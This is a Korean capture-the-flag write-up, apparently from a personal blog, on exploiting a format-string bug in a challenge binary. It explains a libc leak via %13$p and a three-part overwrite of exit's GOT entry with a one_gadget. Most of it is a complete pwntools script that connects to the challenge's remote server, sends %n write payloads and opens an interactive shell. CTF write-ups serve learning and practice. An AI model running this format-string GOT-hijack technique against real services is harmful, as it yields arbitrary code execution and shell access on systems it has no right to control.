릭을 하다보면 13번째 위치의 __libc_start_main+240 부분 주소가 눈에 띄어서, 해당 주소를 출력해서 libc leak을 진행했다.
exit got에 써진 주소에서 다른 부분인 총 6바이트를 덮으면 되는데, onegadget을 그대로 사용하면 안 돼서 low, middle, high로 나누어 구해줬다.
여기에서 주소 중 스택 포인터를 값으로 가지는 것을 고른다. 스택 포인터는 자기 주소보다 높은 위치에 있어야 한다. 해당 값의 주소를 통해 값으로 exit got를 적고, 해당 주소 값의 위치(exit got를 적은)를 통해 one gadget을 주면 exit got에 값을 적을 수 있게 된다.
하이라이팅한 주소가 exit_got, exit_got+2, exit_got+4를 덮을 주소들이다. 각각 값을 주면 하이라이팅한 주소가 값으로 가지는 주소 값에 exit got가 적히게 된다.
포인터 값에 각각 exit_got(0x602060), exit_got+2(0x602062), exit_got+4(0x602064)가 적힌 것을 확인할 수 있다.
exit으로 덮힌 주소 위치를 오프셋으로 주고 one gadget low(오프셋 12), middle(오프셋 40), high(오프셋 39)를 2바이트씩 주면 exit got가 차례대로 덮히게 된다.
#!/usr/bin/python from pwn import * context.log_level = 'debug' #p = process("./challenge") p = remote('3.35.204.82', 20518) elf = ELF("./challenge") exit_got = elf.got['exit'] oneshot_off = [0x45226, 0x4527a, 0xf0364, 0xf1207] context.log_level = 'debug' def Add(data): p.sendafter("> ", '1') p.sendafter(": ", data) def Print(): p.sendafter("> ", '2') p.recvuntil("LOADING ...\n") ### libc leak ### Add('%13$p') Print() leak = int(p.recv(14), 16) libc_base = leak - 0x20840 one_gadget = libc_base + oneshot_off[3] log.info("leak: "+hex(leak)) log.info("libc_base: "+hex(libc_base)) log.info("one_gadget: "+hex(one_gadget)) #gdb.attach(p) one_gadget_low = one_gadget & 0xFFFF one_gadget_middle = (one_gadget >> 0x10) & 0xFFFF one_gadget_high = (one_gadget >> 0x20) & 0xFFFF low = one_gadget_low if one_gadget_middle > one_gadget_low: middle = one_gadget_middle - one_gadget_low else: middle = 0x10000 + one_gadget_middle - one_gadget_low if one_gadget_high > one_gadget_middle: high = one_gadget_high - one_gadget_middle else: high = 0x10000 + one_gadget_high - one_gadget_middle ### exploit ### pay = '%{}x'.format(exit_got) pay += '%6$n' Add(pay) Print() pay = '%{}x'.format(exit_got+2) pay += '%10$n' Add(pay) Print() pay = '%{}x'.format(exit_got+4) pay += '%38$n' Add(pay) Print() pay = '%{}x'.format(one_gadget_low) pay += '%12$n' Add(pay) Print() pay = '%{}x'.format(one_gadget_middle) pay += '%40$n' Add(pay) Print() pay = '%{}x'.format(one_gadget_high) pay += '%39$n' Add(pay) Print() p.interactive()
[2020 Power of XX] T-Lab write up (tcache house of spirit) (0) | 2020.12.18 |
---|---|
[2020 Power of XX] What's your Temp? write up (glibc 2.31 double free bypass) (0) | 2020.12.18 |
rop (6/8 실습문제) (0) | 2020.06.08 |
shot (6/1 포너블 실습 문제) (0) | 2020.06.01 |
[picoCTF 2014] rop1 (0) | 2020.05.31 |